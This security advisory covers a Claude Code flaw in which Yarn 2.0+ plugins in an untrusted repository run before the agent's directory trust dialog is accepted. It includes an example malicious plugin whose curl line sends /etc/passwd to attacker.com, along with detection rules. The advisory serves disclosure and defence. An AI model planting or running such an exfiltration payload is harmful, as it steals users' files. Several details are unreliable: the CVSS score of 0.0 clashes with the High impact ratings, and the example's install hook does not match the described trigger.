CVE-2025-59828

Executive Summary

CVE-2025-59828 is a security advisory affecting Claude Code, an agentic coding tool developed by Anthropic. Prior to version 1.0.39, when using Claude Code with Yarn versions 2.0+, Yarn plugins are auto-executed when running yarn --version. This could lead to a bypass of the directory trust dialog in Claude Code, as plugins would be executed prior to the user accepting the risks of working in an untrusted directory. Users running Yarn Classic were unaffected by this issue. The vulnerability has been fixed in version 1.0.39.

Supply Chain & Package Security

This vulnerability is related to the Yarn package manager ecosystem (versions 2.0+). The auto-execution of Yarn plugins before the directory trust dialog is accepted creates a supply chain risk, as malicious plugins in an untrusted directory could be executed without user consent.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unavailable)
• Attack Vector: Local (requires user to open an untrusted directory in Claude Code)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (user must open the untrusted directory)
• Scope: Unchanged
• Confidentiality Impact: High (potential for data exfiltration)
• Integrity Impact: High (potential for code execution)
• Availability Impact: High (potential for system compromise)
• Threat Level: Medium (due to user interaction requirement but high impact)

Deep Dive & Mechanics

The vulnerability lies in the interaction between Claude Code and Yarn 2.0+. When a user opens a directory in Claude Code, the tool checks for trust before executing commands. However, Yarn 2.0+ automatically executes plugins when yarn --version is run. If a malicious Yarn plugin is present in the untrusted directory, it will be executed before the user accepts the trust dialog, bypassing the security check.

Root Cause: The directory trust dialog is not enforced before Yarn plugins are auto-executed.

Attack Vector: An attacker creates a repository with a malicious Yarn plugin. When a victim opens this repository in Claude Code, the plugin executes before the trust dialog is accepted.

Impact: Arbitrary code execution in the context of the user running Claude Code.

Vulnerable vs. Patched Code

Vulnerable Code (Claude Code < 1.0.39):

// Pseudocode illustrating the vulnerability
function openDirectory(path) {
  // Directory trust dialog is shown but not enforced before Yarn command
  showTrustDialog(path);
  // Yarn --version is executed, which auto-executes plugins
  exec('yarn --version');
  // Trust dialog result is processed after execution
  if (!trustDialogAccepted) {
    // This check is too late
    denyAccess();
  }
}

Patched Code (Claude Code >= 1.0.39):

// Pseudocode illustrating the fix
function openDirectory(path) {
  // Directory trust dialog is enforced before any Yarn command
  const trustAccepted = showTrustDialog(path);
  if (!trustAccepted) {
    denyAccess();
    return;
  }
  // Yarn --version is executed only after trust is confirmed
  exec('yarn --version');
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Claude Code version < 1.0.39
• Yarn version 2.0+
• A repository with a malicious Yarn plugin

Steps:

1. Create a malicious Yarn plugin that executes arbitrary code (e.g., exfiltrates data).
2. Host the repository on a public platform (e.g., GitHub).
3. Convince the victim to open the repository in Claude Code.
4. When the victim opens the directory, the malicious plugin executes before the trust dialog is accepted.

Example Malicious Plugin (yarn-plugin-malicious.js):

module.exports = {
  name: 'malicious-plugin',
  factory: (require) => {
    return {
      hooks: {
        afterAllInstalled: () => {
          // Execute arbitrary code
          const { execSync } = require('child_process');
          execSync('curl http://attacker.com/exfil?data=$(cat /etc/passwd)');
        }
      }
    };
  }
};

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unexpected Yarn plugin executions.
2. Check for suspicious files in .yarn/plugins/ directory.
3. Verify that Claude Code is updated to version 1.0.39 or later.

Mitigation Steps:

1. Update Claude Code to version 1.0.39 or later.
2. Avoid opening untrusted directories in Claude Code.
3. Use Yarn Classic if possible, as it is unaffected.

Indicators of Compromise (IOCs)

• File: .yarn/plugins/ directory containing unexpected plugin files.
• Process: Unexpected execution of yarn --version or Yarn plugin scripts.
• Network: Outbound connections to unknown IPs/domains from Yarn plugin execution.
• Behavior: Claude Code directory trust dialog being bypassed.

Detection Engineering

YARA Rule

rule Detect_Malicious_Yarn_Plugin {
  meta:
    description = "Detects malicious Yarn plugins that may exploit CVE-2025-59828"
    author = "Valters IT"
    date = "2025-01-01"
    reference = "CVE-2025-59828"
  strings:
    $plugin_hook = "hooks" nocase
    $after_all_installed = "afterAllInstalled" nocase
    $exec_sync = "execSync" nocase
    $child_process = "child_process" nocase
  condition:
    all of them
}

Sigma Rule

title: Suspicious Yarn Plugin Execution
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects execution of Yarn plugins that may exploit CVE-2025-59828
author: Valters IT
date: 2025-01-01
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\node.exe'
    CommandLine|contains: 'yarn --version'
  condition: selection
falsepositives:
  - Legitimate Yarn usage
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"CVE-2025-59828 - Potential Yarn Plugin Exfiltration";
  flow:to_server,established;
  content:"/exfil?data="; http_uri;
  classtype:attempted-recon;
  sid:1000001;
  rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Update Claude Code to version 1.0.39 or later.
2. Verify that auto-update is enabled for Claude Code.
3. Review any untrusted directories opened in Claude Code for malicious Yarn plugins.

Long-term Mitigations:

1. Implement directory trust enforcement before any command execution.
2. Disable auto-execution of Yarn plugins in untrusted directories.
3. Educate users about the risks of opening untrusted directories in agentic coding tools.

Workarounds:

• Use Yarn Classic (version 1.x) instead of Yarn 2.0+.
• Manually review Yarn plugins in .yarn/plugins/ before opening a directory.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-59828